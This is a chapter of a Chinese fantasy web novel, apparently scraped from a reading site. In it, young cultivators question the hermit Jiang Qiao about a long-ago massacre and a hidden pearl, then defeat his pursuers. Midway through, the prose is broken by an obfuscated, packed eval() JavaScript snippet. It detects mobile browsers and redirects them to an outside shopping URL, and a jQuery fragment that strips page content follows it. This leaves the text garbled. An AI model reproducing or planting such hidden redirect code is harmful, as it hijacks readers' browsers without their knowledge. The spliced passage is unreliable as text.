48. 故人入我梦

作品:《朝梦初行

    江峭只觉得这一觉睡得很安稳,四十年来他从来未如此安稳过,梦中他不再晃映当年被灭门的惨案,不再是这些年的东躲西藏。


    梦中他和师父一起喝酒,师弟坐在一旁嚷叫着他也想喝,但被师父拒绝。


    梦中他回到了江家,父亲母亲坐在一起等着他归家一起吃饭,在梦中他参加了姐姐的婚宴,看着姐姐和姐夫幸福的面孔,看到自己的侄儿跑向他。


    眼泪从江峭的眼角滑落,沾湿了枕巾,江峭幽幽转醒,睁开双眼,发现自己并不在密室中,阳光洒落,晃得他眯起双眼,这是哪?他为什么会在这里?


    江峭想起来昨日有几人闯入天启派发现了他,他这是被他们带走了,自己怎么睡得这般死沉。


    江峭观察周围的环境,发现他们竟将他带到了客栈之中,还并未将他看管起来,就这么放着,也不怕他跑了,江峭不知这几人到底是和用意。


    看着周围并未有什么,江峭小心的将窗户推开,看着下面车水马龙,他有些害怕,他已经许久未看到这么多人了。


    他本想直接跳下去逃走,但现在往下一看只觉得两层的高度好似天高,楼下人生鼎沸,只觉得头晕目眩,内心的恐惧不断放大,双手紧握窗框,呼吸变得急促,额头上的汗珠顺着往下低落,意识开始逐渐模糊不清,整个身体晃悠,好像随时都能掉下去。


    温泽一进去就看到他站在窗边,若不及时拉住,人就要掉下去了,温泽将他拽回去,关好门窗,看着江峭怒吼道,“你不要命了!”


    江峭麻木的坐在一旁,眼神空洞,好多人,为什么他们还好好的活着,为什么天启派却不见了。


    清梦和褚不染一进来便看到温泽靠在窗户旁看着江峭,但是江峭却不为所动,嘴里一直嘀咕着,“为什么?”


    漱玉站在一旁小心试探一下,在江峭眼前晃了晃手,但他并没有任何反应。


    漱玉指着江峭说道,“他这是怎么了?”


    “我刚进来就看到他站在窗户旁看着下面,整个人都在发抖,若不是我拉的及时他就掉下去了。”


    温泽现在想想都有些后怕,好不容易找到的人,真出了什么问题可怎么办。


    “这些年他躲在密室里不见人,估计刚刚他想逃出去,结果看到太多人,应激了。”


    褚不染看着江峭的样子,看到下面车水马龙,应该是又响起天启派的曾经,能坚持这么多年,真是难得。


    褚不染挥出去一丝神力,落到江峭的体内,江峭整个人浑身一颤,下一瞬间眼神重新聚焦,恢复了清明。


    江峭抬头看去,见自己被清梦四人围着,一时间便想跑掉,但被褚不染按了回去。


    “你们这些年轻人,抓着我这么个老头不放,到底要做什么,你们长辈就是这么教你们尊老爱幼的?”


    江峭看着几人,目测年纪应该都不大,也不是之前追杀他的人,现在还要打听当年的事情,难不成是各门派又发现了什么?


    清梦将昨日发现的小盒子拿出来放在江峭的面前。


    江峭的脸色沉了下去,目光紧盯,警惕的看着清梦。


    “我想你应该知道这里面的东西在哪里吧?”


    清梦的话让江峭动了杀心,虽然他们几人并不是之前一直在追杀他的那伙,但现在他们竟然知道这锦盒的存在并且想要拥有这个东西,那他们就不能活着。


    “我听不懂你在说什么,哪里来的盒子,和我有什么关系。”江峭将眼神避开,扭过头去,心里盘算着怎么才能从他们手里走出去,并且将他们几人永远留在这里。


    褚不染仿佛看透了江峭的意图,笑着说道,“你还是不要想着杀了我们,既然我们能找到你,就不会让你这么逃掉。”


    江峭眼神微眯,看着褚不染,现在的后生真是一点都有不谦虚,“口气真大,老朽也活了这么多年,难不成还能被你们几个小儿唬住。”


    江峭的话音刚落,清梦便靠近,手指停留在江峭的额前,强大的力量让江峭脸色煞白,浑身忍不住的颤抖,呆坐在原地,想逃也逃不掉。


    仅一盏茶的时间,江峭却觉得仿佛过了一辈子,清梦将手收回,江峭瞬间觉得浑身被释放开,大口大口的呼吸空气。


    “你本名叫江峭,十五岁你离家拜入虞临渊门下,成为虞临渊的弟子,当年天启派被灭你深受重伤,躺在死人堆里后面才清醒过来,等你醒了之后便躲在天启殿的密室中,这些年你总会去见一人,在你的意识里这个人很重要,你很排斥别人找到她,让我猜猜让你这么尽心去保护,不想被别人发现,应该是虞临渊当年那个失踪的孙女,虞彼岸吧。”


    清梦在他的意识中收集了他的记忆,但是江峭的潜意识很紧绷,她搜寻不到现在虞彼岸的下落,看样子这五色珠应该就在虞彼岸的手中。


    听到清梦的话,江峭彻底坐不住了,他双目猩红,想冲上来掐死清梦,但被褚不染压制着压根动不了。


    “你到底是谁,你怎么什么都知道!”


    江峭奋力的嘶喊,他们隐藏的这么好,这么多年,他虽被追杀,但是他们并不知道彼岸的下落,他们为什么会知道,为什么?


    “你不必如此,我们不会杀你也不会杀虞彼岸,我们只是想寻找一下当年的真相还有五色珠。”


    清梦语气平淡,江峭扯起嘴角,轻蔑的笑声响起,“你们不就是为了五色珠而来,有什么好为自己辩解。”


    “你姓江?难不成你是前御史大夫江瓷蕴之子?”


    褚不染回想着,仿佛听褚达提起过江瓷蕴曾经有个儿子可惜年纪轻轻便死了,好像也是叫江峭,如果他没记错的话。


    听到褚不染提起江瓷蕴,江峭的眼神瞬间精神,那是他父亲啊,他已经许多年未听到这个名字了。


    江峭审视着褚不染,他竟然知道他父亲是谁,那家中定是在京城当官之人,并且地位不底。


    “只可惜江爷爷到死也不知道他的儿子竟然还活着。”


    听到自己父亲已死的消息,江峭的泪水悄无声息的滑落,整个人跪在地上,双手掩面,是他不孝,是他没用,这么些年不仅不能在父母面前尽孝,就连父亲去世都不能见到最后一面。


    江峭缓过神来,看向褚不染,“你怎会认得我父亲。”


    “在下名叫褚不染,是定远侯褚达之子,江爷爷作为御史大夫监察百官,是先帝亲认的忠臣,晚辈也是听父亲提起过江爷爷的事迹,当年江爷爷去世,父亲还曾领我前去跪拜。”


    褚不染看着江峭,这些年他苟且偷生,为了不连累家人,也未曾归家,他怎能不想。


    “你竟是褚达之子,一别多年,褚达也算是有一番成就,我还是年轻时见过你父亲一面,真是岁月追人,现在就连他的儿子都这么大了。”


    江峭看着褚不染问道,“你既是褚达之子,为何回来追查宗门四十年前的往事,难不成你也选择了修行之路。”


    江峭当年为了能顺利进入天启派,没少和他父亲斗智斗勇,最后江瓷蕴拗不过自己儿子,只能答应,也并未逼着他走仕途,很是尊重他,可这一切随着四十年前的惨案都没了。


    但褚不染不同,褚达是定远侯,褚不染是可以顺利继承侯位,一辈子衣食无忧,何苦选择这条路。


    “机缘巧合,晚辈并不想走仕途,我是父亲捡回来的养子,侯位我觉得弟弟更适合,我只要做到守护好定远侯府就好。”


    江峭了然,褚达也是好福气,养子也如此出色,“但你想过没,若你真的插手此时,可能会连累定远侯府。”


    “既然晚辈选择这条路,那定是做好了打算,不会连累家人。”


    褚不染笑着解释,他的身份相比墨瑄他们也都知晓,他也安排人手守护好定远侯府,定不会给他们机会。


    “那你现在师从何人,在哪个门派?”


    “无忧派,师从言烟澜。”


    褚不染也笃定了江峭会认识自己师父,并且师父这么多年依旧留着那幅画像,俩人定是认识,甚至很熟悉。


    果不其然听到言烟澜的名字,江峭明显愣了一下,强压着自己的情绪,不想让他们看出来,但褚不染哪会放过这样的时机。


    “说来也巧,我见前辈眼熟,仿佛在师父书


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955316|192795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    房内的挂画中见过,前辈可曾认识我师父?”


    江峭眼神中尽是怀念,仿佛回到了当年第一次见言烟澜的场景,少女发丝纤细乌黑,在阳光下泛着光芒耀眼动人。


    “也算是旧相识了。”江峭的语气缓和下来,转忙又问道,“你师父现在可还好?身边可曾有什么人相伴?”


    江峭语气中尽是小心翼翼的试探,他怕她早已忘了自己,有了自己的归宿,又怕她忘不掉自己,这么些年给自己徒增烦恼。


    “师父很好,这些年独自一人将我们师兄妹们带大,也很是辛苦,有时总是一人独自坐在书房中,也不让我们进去,自己一人坐到天亮。”


    褚不染平淡的讲述自己师父的状况,但落在江峭耳中仿佛是一根根利刺,扎入心中,他不敢自作多情的认为言烟澜还忘不掉他,但他不想她这么折磨自己。


    “你们来找到我,到底是为了什么?”江峭看着褚不染,经过褚不染一阵的认亲交谈,他现在对他们的警惕放下了一点,但还是不相信。


    “我们此次前来,就是想找到当年的真相,我们查到了别的线索,所以觉得当年天启派的叛变是有内幕。”


    褚不染解释道,若是直接说为了五色石,那估计不管他搬出谁,江峭都会跟他们拼命。


    “当年的真相没有什么内幕,你们也不用再查了,你们还是走吧。”


    江峭摆了摆手,他还是不会和他们说的。


    “前辈有没有想过,现在我们能查到这里,知道这么多,那是不也能代表其他人也能找到,若是这样的话,你辛苦守护几十年的东西消散掉,可怎么办?”


    温泽的话砸在江峭的心中,这确实是他担心的,这些人这么轻易的摸到他隐藏了四十年的线索,那他们呢,若是真的被发现,他怎么对的起师父的嘱托。


    “前辈何不相信我们一下,我们是真心的,并不会伤害到你们。”


    温泽步步引诱,让江峭的内心有了一丝松动,清梦现在很满意,有他们在事情好像变得没那么复杂了,若是换做她,可能会直接些,她还是不擅长这样。


    “前辈可以先做考虑,我们送您回去,剩下的事情您考虑清楚了再给我么答复。”


    听到褚不染说让他回去,江峭也很是惊讶,他本以为自己的命就要交代在这,其实他本就是已死之人,之所以苟活到现在终究是有要守护的人。


    清梦几人带着江峭回到天启派,这一路上,江峭将自己裹得严实,在人群中明显很不自在,脚步都不自觉地加快。


    回到天启派,刚要推开密室的门,却见从暗处闪现一群黑衣人将他们围了起来,为首的人展出,拿着斧头指着江峭,“老东西,终于逮到你,竟然还找了帮手,不过不重要了,乖乖束手就擒告诉我们五色珠的下落,我们还能给你个痛快。”


    为首的男子笑得猖狂,这些年他们追杀江峭,却屡次被他戏耍,但这次不一样,这次给他的人都是精兵强将,这老东西有帮手又如何,今日定要将他拿下。


    清梦和褚不染对视一眼,褚不染站在前面,看着围攻上来的众人,三下五除二的就吧这些人解决捆在一起。


    为首的吴高被揍得鼻青脸肿,疼的他不断哀嚎。


    温泽一脚踢在吴高的身上,逼问道,“说吧,是谁派你们来的?”


    吴高看着几人,心想这老家伙从哪里弄来这么多高手,真是失算了。


    吴高一脸高傲,“我是不会说的,有能耐你们就杀了我。”


    边说还变瞥着清梦众人,看出了吴高耍小心思,褚不染直接提剑向吴高走过来。


    “好啊,那我就满足你。”


    看着褚不染越逼越近,吴高内心有些害怕,这怎么跟他预想的不一样,不是应该不动他只是逼问吗,怎么上来就喊打喊杀的。


    “你你你,你别过来啊!”吴高内心有些崩溃,不断叫喊着。


    “我说,我说,是沧溟派掌门找我来的!”


    吴高绝望的喊出来,褚不染停下了脚步,看着清梦,没想到竟然是沧溟派搞的鬼,那岂不是证明他们更早之前便和魔界有染。